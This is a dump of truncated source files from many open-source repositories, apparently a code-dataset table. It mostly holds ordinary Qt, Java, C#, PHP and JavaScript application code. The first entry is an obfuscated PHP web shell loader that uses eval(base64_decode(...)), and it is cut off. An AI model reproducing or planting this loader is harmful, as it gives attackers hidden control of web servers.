repo_name
stringlengths
4
116
path
stringlengths
4
379
size
stringlengths
1
7
content
stringlengths
3
1.05M
license
stringclasses
15 values
svigneux/python-websh
shells/base64-obfuscated.php
997
<?php $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJ...
gpl-3.0
elkingtoncode/Argonaute
src/qt/addressbookpage.cpp
9477
#if defined(HAVE_CONFIG_H) #include "bitcoin-config.h" #endif #include "addressbookpage.h" #include "ui_addressbookpage.h" #include "addresstablemodel.h" #include "bitcoingui.h" #include "csvmodelwriter.h" #include "editaddressdialog.h" #include "guiutil.h" #include <QIcon> #include <QMenu> #include <QMessageBox> #i...
gpl-3.0
fisher01/client-twitter
DotNet/TwitterDotNet/TwitterDotNet/ViewModels/SettingsPageViewModel.cs
2610
using System; using System.Threading.Tasks; using Template10.Mvvm; using Windows.UI.Xaml; namespace TwitterDotNet.ViewModels { public class SettingsPageViewModel : ViewModelBase { public SettingsPartViewModel SettingsPartViewModel { get; } = new SettingsPartViewModel(); public AboutPartViewMode...
gpl-3.0
sstuenkel/ExpertiseExplorer
ExpertiseExplorerMVC/Global.asax.cs
508
namespace ExpertiseExplorerMVC { using System.Web.Mvc; using System.Web.Optimization; using System.Web.Routing; public class MvcApplication : System.Web.HttpApplication { protected void Application_Start() { AreaRegistration.RegisterAllAreas(); FilterConfig...
gpl-3.0
geminy/aidear
oss/qt/qt-everywhere-opensource-src-5.9.0/qtdatavis3d/examples/datavisualization/customproxy/rainfallgraph.cpp
6027
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of the Qt Data Visualization module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:GPL$ ** Commercial License Usage ** Licensees holding...
gpl-3.0
DemonSinusa/SiemanC
LibsUser/libimagedraw/core.cpp
5924
#include <alib/img.h> color16_t Image:: GetColor16 (int x, int y){ if (y<h_ && y>=0 && x>=0 && x<w_){ color16_t *bm=(color16_t*)bitmap_; return *(bm + x + y*w_); } else return T16_PIXEL; } void Image:: SetColor16 (int x, int y, color16_t clr){ color16_t *bm=(color16_t*)b...
gpl-3.0
sidcode/PtokaX
core/GlobalDataQueue.cpp
42093
/* * PtokaX - hub server for Direct Connect peer to peer network. * Copyright (C) 2002-2005 Ptaczek, Ptaczek at PtokaX dot org * Copyright (C) 2004-2012 Petr Kozelka, PPK at PtokaX dot org * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public Lice...
gpl-3.0
k0shk0sh/FastHub
app/src/main/java/com/fastaccess/provider/rest/RepoQueryProvider.java
1922
package com.fastaccess.provider.rest; import androidx.annotation.NonNull; import com.fastaccess.data.dao.types.IssueState; /** * Created by Kosh on 23 Mar 2017, 7:26 PM */ public class RepoQueryProvider { @NonNull public static String getIssuesPullRequestQuery(@NonNull String owner, @NonNull String repo, ...
gpl-3.0
arraydev/snap-engine
snap-engine-utilities/src/main/java/org/esa/snap/datamodel/DownloadableContentImpl.java
13822
/* * Copyright (C) 2014 by Array Systems Computing Inc. http://www.array.ca * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 3 of the License, or (at your option) * any lat...
gpl-3.0
transwarpio/rapidminer
rapidMiner/rapidminer-studio-core/src/main/java/com/rapidminer/operator/preprocessing/filter/attributes/TransparentAttributeFilter.java
1894
/** * Copyright (C) 2001-2016 by RapidMiner and the contributors * * Complete list of developers available at our web site: * * http://rapidminer.com * * This program is free software: you can redistribute it and/or modify it under the terms of the * GNU Affero General Public License as published by the...
gpl-3.0
moiseserg/peUTM
ciclos/ejercicioAsteriscosTriangulo2.cpp
278
/* 9 9 ********* 8 ******** 7 ******* 6 ****** 5 ***** 4 **** 3 *** 2 ** 1 * */ #include <stdio.h> int main(){ int a, i, j; scanf ("%d", &a); for (i=a; i>=1; i--){ printf("%2d ", i ); for (j=0; j<i; j++){ printf("*"); } printf("\n"); } return 0; }
gpl-3.0
will-bainbridge/OpenFOAM-dev
src/OpenFOAM/db/regIOobject/regIOobjectRead.C
7992
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | Website: https://openfoam.org \\ / A nd | Copyright (C) 2011-2019 OpenFOAM Foundation \\...
gpl-3.0
iCarto/siga
libJCRS/src/org/gvsig/crs/repository/EsriRepositoryGT.java
776
package org.gvsig.crs.repository; import org.geotools.referencing.CRS; import org.gvsig.crs.CrsGT; import org.gvsig.crs.ICrs; import org.opengis.referencing.FactoryException; import org.opengis.referencing.NoSuchAuthorityCodeException; import org.opengis.referencing.crs.CoordinateReferenceSystem; public class EsriRep...
gpl-3.0
jm974/openstreetmap
openstreetmap/shape.py
7393
#!/usr/bin/env python # -*- coding: utf-8 -*- """The code below is designed to ease the cleansing of https://www.openstreetmap.org OSM file format focusing on French area Tested with Map Area: Saint-Joseph - Île de La Réunion http://www.openstreetmap.org/relation/1282272#map=12/-21.2918/55.6440 http://overpass-api.d...
gpl-3.0
PicassoCT/Journeywar
scripts/cgatefotressscript.lua
53829
include "lib_OS.lua" include "lib_UnitScript.lua" include "lib_Animation.lua" include "lib_Build.lua" TableOfPieces = {} center = piece("center") TableOfPieces[#TableOfPieces + 1] = center Erker4 = piece("Erker4") TableOfPieces[#TableOfPieces + 1] = Erker4 InnerLoop10 = piece("InnerLoop10") TableOfPieces[#TableOfPiec...
gpl-3.0
byu-vv-lab/sarl
src/edu/udel/cis/vsl/sarl/collections/package-info.java
431
/** * This package provides a persistent collections framework for collections of * symbolic expressions. The starting point is class * {@link edu.udel.cis.vsl.sarl.collections.Collections}. The public interface * are contained in the package {@link edu.udel.cis.vsl.sarl.collections.IF}. * Implementation classes a...
gpl-3.0
DISID/disid-proofs
spring-roo-tests/src/main/java/org/springframework/roo/clinictests/config/SpringDataJpaDetachableRepositoryConfiguration.java
1945
/* * Copyright 2016 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
gpl-3.0
EntradaProject/entrada-1x
www-root/core/library/Migrate/2016_11_04_095730_1306.php
1401
<?php class Migrate_2016_11_04_095730_1306 extends Entrada_Cli_Migrate { /** * Required: SQL / PHP that performs the upgrade migration. */ public function up() { $this->record(); ?> -- SQL Upgrade Queries Here; UPDATE `assessments` SET `collection_id` = NULL WHERE `col...
gpl-3.0
tohahn/UE_ML
UE06/gvgai/src/controllers/singlePlayer/replayer/Agent.java
1993
package controllers.singlePlayer.replayer; import java.util.ArrayList; import core.game.StateObservation; import core.player.AbstractPlayer; import ontology.Types; import tools.ElapsedCpuTimer; /** * Created with IntelliJ IDEA. * User: ssamot * Date: 14/11/13 * Time: 21:45 * This is a Java port from Tom Schaul'...
gpl-3.0
starts2000/TaoShang
Starts2000.TaoBaoTool/Starts2000.TaoBao.Core.Tests/Properties/AssemblyInfo.cs
1344
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // 有关程序集的常规信息通过以下 // 特性集控制。更改这些特性值可修改 // 与程序集关联的信息。 [assembly: AssemblyTitle("Starts2000.TaoBao.Core.Tests")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] ...
gpl-3.0
bjornpost/hapi
src/Harvest/Model/TaskAssignment.php
515
<?php namespace Harvest\Model; /** * Filter * * This file contains the class TaskAssignment * */ /** * Harvest TaskAssignment Object * * <p>Properties</p> * <ul> * <li>billable</li> * <li>budget</li> * <li>deactivated</li> * <li>hourly-rate</li> * <li>id</li> * <li>project-id</li> * <l...
gpl-3.0
danielbonetto/twig_MVC
lang/it/filters.php
4594
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle...
gpl-3.0
aykit/MyOwnNotes
app/src/main/java/org/aykit/MyOwnNotes/asynctasks/SyncNotesAsyncTask.java
16786
package org.aykit.MyOwnNotes.asynctasks; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.database.Cursor; import android.net.Uri; import android.os.AsyncTask; import android.preference.PreferenceManager; import android.support.v4.content.LocalBroa...
gpl-3.0
fiji/MaMuT
src/main/java/fiji/plugin/mamut/viewer/MamutOverlay.java
12282
/*- * #%L * Fiji plugin for the annotation of massive, multi-view data. * %% * Copyright (C) 2012 - 2021 MaMuT development team. * %% * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as * published by the Free Software Foundation, eith...
gpl-3.0
ERIN-LIST/iguess
db/migrate/20141128151654_create_tickets.rb
505
class CreateTickets < ActiveRecord::Migration def up create_table :tickets do |t| t.column :title, :string, :null => false t.column :description, :string, :null => false t.column :ticket_type_id, :integer, :null => false t.column :ticket_status_id, :integer, :null => f...
gpl-3.0
horn3t/PerformanceControl
src/com/brewcrewfoo/performance/util/Constants.java
16869
/* * Performance Control - An Android CPU Control application Copyright (C) 2012 * James Roberts * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at ...
gpl-3.0
ZeroOne71/ql
02_ECCentral/02_Portal/UI/ECCentral.Portal.UI.IM/Resources/ResProductPriceApprove.Designer.cs
13562
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.17929 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //--...
gpl-3.0
Bootz/multicore-opimization
llvm/tools/clang/lib/Basic/Version.cpp
2862
//===- Version.cpp - Clang Version Number -----------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===-------------------------------------------------------...
gpl-3.0
ceduliocezar/android-labs
CustomFont/app/src/main/java/com/cedulio/customfont/MainActivity.java
335
package com.cedulio.customfont; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_...
gpl-3.0
pantelis60/L2Scripts_Underground
gameserver/src/main/java/l2s/gameserver/handler/chat/IChatHandler.java
215
package l2s.gameserver.handler.chat; import l2s.gameserver.network.l2.components.ChatType; /** * @author VISTALL * @date 18:16/12.03.2011 */ public interface IChatHandler { void say(); ChatType getType(); }
gpl-3.0
didoupimpon/CC152
src/main/java/net/minecraft/server/CraftingManager.java
11327
package net.minecraft.server; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; public class CraftingManager { private static final CraftingManager a = new CraftingManager(); private List b = new ArrayList(); public static final CraftingManager a(...
gpl-3.0
NuenoB/OpenBlocks_UCHILE
src/openblocks/common/block/BlockImaginary.java
4212
package openblocks.common.block; import java.util.ArrayList; import java.util.List; import net.minecraft.block.StepSound; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IconRegister; import net.minecraft.entity.Entity; import net.minecraft.item.ItemStack; import net.minecra...
gpl-3.0
thevpc/upa
upa-api/src/main/csharp/Sources/Auto/PrimitiveFieldInfo.cs
765
/********************************************************* ********************************************************* ** DO NOT EDIT ** ** ** ** THIS FILE HAS BEEN GENERATED AUTOMATICALLY ** ** BY UPA PORTABLE GE...
gpl-3.0
Mazdallier/AncientWarfare2
src/main/java/net/shadowmage/ancientwarfare/npc/faction/FactionTracker.java
4829
package net.shadowmage.ancientwarfare.npc.faction; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.entity.player.EntityPlayerMP; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.world.World; import net.shadowmage.ancientwarfare.core.gamedata.AWGameData; import net.shadowmage.a...
gpl-3.0
callummoffat/Unigram
Unigram/Unigram.Native.Tasks/NotificationTask.cpp
19464
#include "pch.h" #include "NotificationTask.h" #include "VoIPCallTask.h" #include <ios> #include <fstream> #include <ppltasks.h> #include <iostream> #include <iomanip> #include <sstream> #include <windows.h> #include "Shlwapi.h" using namespace concurrency; using namespace Platform; using namespace Unigram::Nativ...
gpl-3.0
instedd/nuntium
db/migrate/20091019134249_rename_out_message_to_ao_message.rb
197
class RenameOutMessageToAoMessage < ActiveRecord::Migration def self.up rename_table :out_messages, :ao_messages end def self.down rename_table :ao_messages, :out_messages end end
gpl-3.0
daaquan/phpfan
public/assets/js/dashboard/projectfiles.js
1795
(function() { var FileModel = Backbone.Model.extend({}); var FileView = Backbone.View.extend({ template: _.template('<li' + '<% if(status === "completed") print(" class=delete-list")%>> <input type=checkbox class="regular-checkbox" name=todoscheckbox id=' + '<%=id%>' + '<% if(status === "completed") pri...
gpl-3.0
jasonleaster/TheWayToJava
DesignPatternInJava/DesignPatterInJava/src/main/java/com/jasonleaster/designpattern/facade/CPU.java
284
package com.jasonleaster.designpattern.facade; /** * Author: jasonleaster * Date : 2017/8/5 * Email : jasonleaster@gmail.com * Description: */ public class CPU { public void freeze() { } public void jump(long position) { } public void execute() { } }
gpl-3.0
psnc-dl/darceo
wrdz/wrdz-ru/business/src/main/java/pl/psnc/synat/wrdz/ru/services/descriptors/DescriptorSchemeManagerBean.java
2150
/** * Copyright 2015 Poznań Supercomputing and Networking Center * * Licensed under the GNU General Public License, Version 3.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.gnu.org/licenses/gpl-3.0.txt * * Unless...
gpl-3.0
germix/canawa
api/src/core/DeliveryManager.php
2858
<?php include_once 'core/Delivery.php'; include_once 'core/DeliveryIterator.php'; /** * Clase que administra las entregas * * @author Germán Martínez * */ class DeliveryManager { /** * Agregar una entrega * * @param integer $saleId Id de la venta * @param string $date Fecha de la entrega * @param str...
gpl-3.0
kellyschrock/ardupilot
ArduCopter/mode_flowhold.cpp
17473
#include "Copter.h" #include <utility> #if !HAL_MINIMIZE_FEATURES && OPTFLOW == ENABLED /* implement FLOWHOLD mode, for position hold using optical flow without rangefinder */ const AP_Param::GroupInfo Copter::ModeFlowHold::var_info[] = { // @Param: _XY_P // @DisplayName: FlowHold P gain // @Descrip...
gpl-3.0
tojames/PopcornTV
app/libs/LibTorrent/jni/include/libtorrent/max.hpp
3254
/* Copyright (c) 2009, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions...
gpl-3.0
meinemitternacht/cdcmastery
src/CDCMastery/Models/CdcData/QuestionAnswersCollection.php
2224
<?php declare(strict_types=1); /** * Created by PhpStorm. * User: tehbi * Date: 6/24/2017 * Time: 6:49 PM */ namespace CDCMastery\Models\CdcData; use RuntimeException; class QuestionAnswersCollection { private QuestionCollection $questions; private AnswerCollection $answers; public function __cons...
gpl-3.0
geowe/sig-seguimiento-vehiculos
src/main/java/org/geowe/client/local/main/tool/search/ExportCSVLayerTool.java
3760
/* * #%L * GeoWE Project * %% * Copyright (C) 2015 - 2016 GeoWE.org * %% * This file is part of GeoWE.org. * * GeoWE is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, ...
gpl-3.0
diegoRodriguezAguila/Lecturas.Elfec.GD
betterPickers/src/main/java/com/codetroopers/betterpickers/recurrencepicker/Utils.java
2653
/* * Copyright (C) 2006 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by app...
gpl-3.0
saurabh947/MoodleLearning
blocks/tts/app/_php/_services/google_tts_config.php
3359
<?php /** * ************************************************************************* * * OOHOO - TTS - Text To Speech ** * ************************************************************************* * @package block ** ...
gpl-3.0
LucaClaessens/Analogy
scraping-tools/scrape_post_data.js
14005
var request = require('request'); var cheerio = require('cheerio'); pages = [ 'http://networkcultures.org/moneylab/2015/12/14/degenerated-political-art-by-nuria-guell-levi-orta/', 'http://networkcultures.org/moneylab/2015/12/11/raluca-croitoru-immaterial-institute-of-research-and-experimentation/', 'http:/...
gpl-3.0
evn88/phonebook
resources/js/bootstrap.js
3239
window._ = require('lodash'); /** * We'll load jQuery and the Bootstrap jQuery plugin which provides support * for JavaScript based Bootstrap features such as modals and tabs. This * code may be modified to fit the specific needs of your application. */ try { window.Popper = require('popper.js').default; ...
gpl-3.0
a349944418/huaye
admin/language/zh-CN/common/menu.php
5998
<?php // Text $_['text_analytics'] = '谷歌分析'; $_['text_affiliate'] = '加盟'; $_['text_api'] = 'API接口'; $_['text_attribute'] = '属性'; $_['text_attribute_group'] = '属性组'; $_['text_backup'] = '备份 / 恢复'; $_['text_bann...
gpl-3.0
sspaeti/ImpressPages
Plugin/AsdMailChimp/Widget/AsdMailChimp/skin/default.php
221
<?php if( !empty( $form ) ): ?> <?php echo $form; ?> <?php elseif( ipIsManagementState() ): ?> <div class="text-center"> <?php echo __( 'There is no mailing list selected.', 'AsdMailChimp'); ?> </div> <?php endif; ?>
gpl-3.0
kevinnewesil/Grades2Show
protected/views/group/create.php
301
<?php $this->breadcrumbs=array( 'Groups'=>array('index'), 'Create', ); $this->menu=array( array('label'=>'List Group', 'url'=>array('index')), array('label'=>'Manage Group', 'url'=>array('admin')), ); ?> <h1>Create Group</h1> <?php echo $this->renderPartial('_form', array('model'=>$model)); ?>
gpl-3.0
nickthecoder/itchy
src/main/java/uk/co/nickthecoder/itchy/property/InputStringProperty.java
2324
package uk.co.nickthecoder.itchy.property; import uk.co.nickthecoder.itchy.Input; import uk.co.nickthecoder.itchy.InputInterface; import uk.co.nickthecoder.itchy.gui.ActionListener; import uk.co.nickthecoder.itchy.gui.Component; import uk.co.nickthecoder.itchy.gui.Container; import uk.co.nickthecoder.itchy.gui.Button;...
gpl-3.0
aroog/code
ArchViewer/src/edu/cmu/cs/viewer/ui/ContentProviderObjectGraph.java
3023
package edu.cmu.cs.viewer.ui; import java.util.Observable; import java.util.Observer; import java.util.Set; import org.eclipse.jface.viewers.ITreeContentProvider; import org.eclipse.jface.viewers.TreeViewer; import org.eclipse.jface.viewers.Viewer; public class ContentProviderObjectGraph implements ITreeCo...
gpl-3.0
GlacierSoft/netloan-project
netloan-module/src/main/java/com/glacier/netloan/service/finance/FinanceMemberService.java
10784
package com.glacier.netloan.service.finance; import java.util.Date; import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.shiro.SecurityUtils; import org.apache.shiro.subject.Subject; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.ste...
gpl-3.0
ksiomelo/mailbox-plus
app/controllers/base_controller.rb
250
class BaseController < ApplicationController #layout "application_offline" before_filter :authenticate_user! def index if current_user.is? :admin redirect_to stamps_url else redirect_to messages_url end end end
gpl-3.0
DIRACGrid/WebAppDIRAC
src/WebAppDIRAC/WebApp/static/core/js/views/tabs/Image.js
657
/******************************************************************************* * It used to show an image in a panel. class Ext.dirac.views.tabs.Image extends * Ext.Img */ Ext.define("Ext.dirac.views.tabs.Image", { extend: "Ext.Img", cls: "pointer", frame: true, panel: null, listeners: { render: func...
gpl-3.0
standout/standoutcms
app/controllers/application_controller.rb
7489
require "application_responder" #render Filters added to this controller apply to all controllers in the application. # Likewise, all the methods added will be available for all controllers. class ApplicationController < ActionController::Base self.responder = ApplicationResponder respond_to :html include Con...
gpl-3.0
belimawr/FMS-Editor-Simulator
Automata/Tools/InputStringSelector.java
1547
package Automata.Tools; import Automata.Model.FSM_Model; import CH.ifa.draw.figure.TextFigure; import CH.ifa.draw.framework.DrawingView; import CH.ifa.draw.framework.Figure; import CH.ifa.draw.tool.ActionTool; import javax.swing.*; import java.awt.*; /** * Author: Tiago de França Queiroz * Date: 04/01/14 * * Cop...
gpl-3.0
Natysik16111994/mcp8086
Emulator/MainForm.cs
10582
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Diagnostics; using System.Text; using System.Windows.Forms; using System.IO; namespace Emulator { public partial class MainForm : Form { public static MainForm Instance = ...
gpl-3.0
nikneem/hexmaster-logger
HexMaster Logger/HexMaster.Logging/Configuration/LogRepositoryConfiguration.cs
1337
using System; using System.Configuration; namespace HexMaster.Logging.Configuration { public class LogRepositoryConfiguration : ConfigurationElement { [ConfigurationProperty("name", DefaultValue = "MsSql", IsRequired = true)] [StringValidator(InvalidCharacters = "~!@#$%^&*()[]{}/;'\"|\\", Min...
gpl-3.0
ckaestne/CIDE
CIDE_Language_Java/src/tmp/generated_java15/Statement14.java
780
package tmp.generated_java15; import cide.gast.*; import cide.gparser.*; import cide.greferences.*; import java.util.*; public class Statement14 extends Statement { public Statement14(ThrowStatement throwStatement, Token firstToken, Token lastToken) { super(new Property[] { new PropertyOne<ThrowSta...
gpl-3.0
zuonima/sql-utils
src/main/java/com/alibaba/druid/sql/ast/expr/SQLVariantRefExpr.java
2680
/* * Copyright 1999-2017 Alibaba Group Holding Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
gpl-3.0
furylynx/MAE
libmae/src/mae/fl/laban/mv/relationship_endpoint.cpp
2509
#include "relationship_endpoint.hpp" namespace mae { namespace fl { namespace laban { namespace mv { relationship_endpoint::relationship_endpoint(int column, bool active, std::shared_ptr<ps::i_pre_sign> pre_sign, std::shared_ptr<i_dynamics_sign> dynamics) { column_ = column; pre_sign_ = ...
gpl-3.0
nzkelvin/mrxrm
Adxstudio/MasterPortal/js/ckeditor/plugins/devtools/lang/sq.js
390
/* Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved. This software is covered by CKEditor Commercial License. Usage without proper license is prohibited. */ CKEDITOR.plugins.setLang("devtools","sq",{title:"Të dhënat e elementit",dialogName:"Emri i dritares së dialogut",tabName:"Emri i fletë...
gpl-3.0
Droon99-Developer/AGHF-APCS
src/Units/AirStrike.java
400
package Units; public class AirStrike extends Unit { static final long serialVersionUID = 5667678708220137591L; public AirStrike(boolean forDefense) { // SPEED: 5 // DAMAGE: 40 // MAX HEALTH: 40 (only killed by anothre air strike) // GPK: 10 // constructor structure: int speed, int damage, int maxHealth, ...
gpl-3.0
puzza007/Etymon
test/etymology/context/ContextCellContainerTest.java
3323
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package etymology.context; import java.util.List; import org.junit.After; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import static org.junit.Assert.*; /*...
gpl-3.0
necr0potenc3/uosl
libuosl/src/org/solhost/folko/uosl/libuosl/types/Point2D.java
5119
/******************************************************************************* * Copyright (c) 2013 Folke Will <folke.will@gmail.com> * * This file is part of JPhex. * * JPhex is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Fr...
gpl-3.0
kkmonlee/Project-Euler-Solutions
Java/p365.java
3773
package com.company; import java.util.*; public class p365 { private static long binmod (long top, long bottom, long p) { if (top < bottom) { return 0; } int topLength = 1 + (int)Math.round(Math.floor(Math.log(top) / Math.log(p))); int bottomLength = 1 + (int)Math.roun...
gpl-3.0
lstar2003/door
config/session.js
4320
/** * Session Configuration * (sails.config.session) * * Sails session integration leans heavily on the great work already done by * Express, but also unifies Socket.io with the Connect session store. It uses * Connect's cookie parser to normalize configuration differences between Express * and Socket.io and hoo...
gpl-3.0
ferrybig/CraftBukkit-Bleeding
src/main/java/net/minecraft/server/EntityEnderman.java
14230
package net.minecraft.server; import java.util.UUID; // CraftBukkit start import org.bukkit.Location; import org.bukkit.craftbukkit.event.CraftEventFactory; import org.bukkit.event.entity.EntityTeleportEvent; // CraftBukkit end public class EntityEnderman extends EntityMonster { private static final UUID bp = U...
gpl-3.0
cgd/genetic-util
src/java/org/jax/geneticutil/data/MultiGroupStrainPartition.java
1093
/* * Copyright (c) 2010 The Jackson Laboratory * * This is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This software is d...
gpl-3.0
boite/ty-ed
script/source-discover.py
8463
# source-discover.py Discover Ed Snowden Primary Source documents. # Copyright (C) 2015 jah # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at you...
gpl-3.0
gklimek/philippides
src/test/java/org/philippides/util/BytesTest.java
1338
package org.philippides.util; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import org.junit.Test; import static org.junit.Assert.*; public class BytesTest { @Test public void testToUnsignedInt() { long unsignedInt = Bytes.toUnsignedInt(new by...
gpl-3.0
kosmakoff/WebApiWithAuth
src/WebApiWithAuth/Models/ApplicationDbContext.cs
759
using Microsoft.AspNetCore.Identity.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; namespace WebApiWithAuth.Models { public class ApplicationDbContext : IdentityDbContext<ApplicationUser, ApplicationRole, string> { public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options) ...
gpl-3.0
highsad/iDesktop-Cross
RealspaceView/src/com/supermap/desktop/CtrlAction/CtrlActionDatasetAddToCurrentScene.java
2129
package com.supermap.desktop.CtrlAction; import javax.swing.tree.DefaultMutableTreeNode; import com.supermap.data.Dataset; import com.supermap.data.DatasetType; import com.supermap.data.DatasetVector; import com.supermap.desktop.Application; import com.supermap.desktop.Interface.IBaseItem; import com.supermap.desktop...
gpl-3.0
leafsoftinfo/pyramus
plugin-core/src/main/java/fi/pyramus/plugin/maven/MavenClient.java
18331
package fi.pyramus.plugin.maven; import java.io.File; import java.util.ArrayList; import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.maven.model.building.DefaultModelBuilder; import org.apache.maven.model.building.DefaultModelBuilderFactory; import org.apache.maven.repository.intern...
gpl-3.0
N247S/UI-API
src/main/java/com/UI_API/api/util/event/IEventHandler.java
981
/** * * This is a Library especially made for MineCraft to render (G)UI's. * Copyright (C) 2016 CreativeMD & N247S * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3...
gpl-3.0
quban2/quban
droptree.cpp
1714
/*************************************************************************** Copyright (C) 2011-2015 by Martin Demet quban100@gmail.com This file is part of Quban. Quban is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by ...
gpl-3.0
richard-fisher/chromebrew
packages/dropbox.rb
1477
require 'package' class Dropbox < Package description 'Dropbox simplifies the way you create, share and collaborate. Bring your photos, docs, and videos anywhere and keep your files safe.' homepage 'https://www.dropbox.com/' version '32.4.23-1' case ARCH when 'i686' source_url 'https://clientupdates.dro...
gpl-3.0
yvt/StellaAlpha
stella/stviewanimator.cpp
3591
#include "stviewanimator.h" #include <QDateTime> #include "stmath.h" STViewAnimator::STViewAnimator(QObject *parent) : QObject(parent) { m_newView=NULL; m_duration=200; m_startTime=0; m_width=0; m_timer=0; m_visibleOnlyWhenParentIsVisible=false; m_deleteWhenDone=false; } bool STViewAni...
gpl-3.0
gmqz/Plenus
src/GestionBundle/Controller/DashboardController.php
8901
<?php namespace GestionBundle\Controller; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Sensio\Bundle\FrameworkExtraB...
gpl-3.0
TheRabbitologist/IceAndShadow2
java/iceandshadow2/ias/blocks/IaSBlockAltar.java
1525
package iceandshadow2.ias.blocks; import iceandshadow2.EnumIaSModule; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IIconRegister; import net.minecraft.util.IIcon; import net.minecraft.world.IBlockAccess; import net.minecraftforge.common.util.ForgeDirection; import cpw.mods...
gpl-3.0
omriabnd/UCCA-App
Client/src/app/pages/form/inputs/widgets/select/SelectpickerPanelCtrl.js
1119
/* Copyright (C) 2017 Omri Abend, The Rachel and Selim Benin School of Computer Science and Engineering, The Hebrew University. */ (function () { 'use strict'; angular.module('zAdmin.pages.form') .controller('SelectpickerPanelCtrl', SelectpickerPanelCtrl); /** @ngInject */ function SelectpickerPanelCtr...
gpl-3.0
gigascorp/fiscal-cidadao
web/FiscalCidadaoWCF/Model/Denuncia.cs
608
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Web; namespace FiscalCidadaoWCF.Models { [Table("Denuncia")] public class Denuncia { public int Id { get; set; } public string Comentarios { get; set; } ...
gpl-3.0
gpimblott/TechRadar
dao/role.js
331
"use strict"; const dbHelper = require('../utils/dbhelper.js'); /** * Database routines for 'Role's' */ const Role = function () { }; /** * Get all the Roles * @param done function to call with the results */ Role.getAll = function(done) { dbHelper.getAllFromTable("roles", done, "name" ); }; module.expo...
gpl-3.0
Florianboux/zds-site
zds/mp/tests/tests_models.py
7400
# coding: utf-8 from django.test import TestCase from django.core.urlresolvers import reverse from math import ceil from zds.member.factories import ProfileFactory from zds.mp.factories import PrivateTopicFactory, PrivatePostFactory from zds.mp.models import mark_read, never_privateread from zds.utils import slugify ...
gpl-3.0
azub/matrix2viz
js/Cell.js
1766
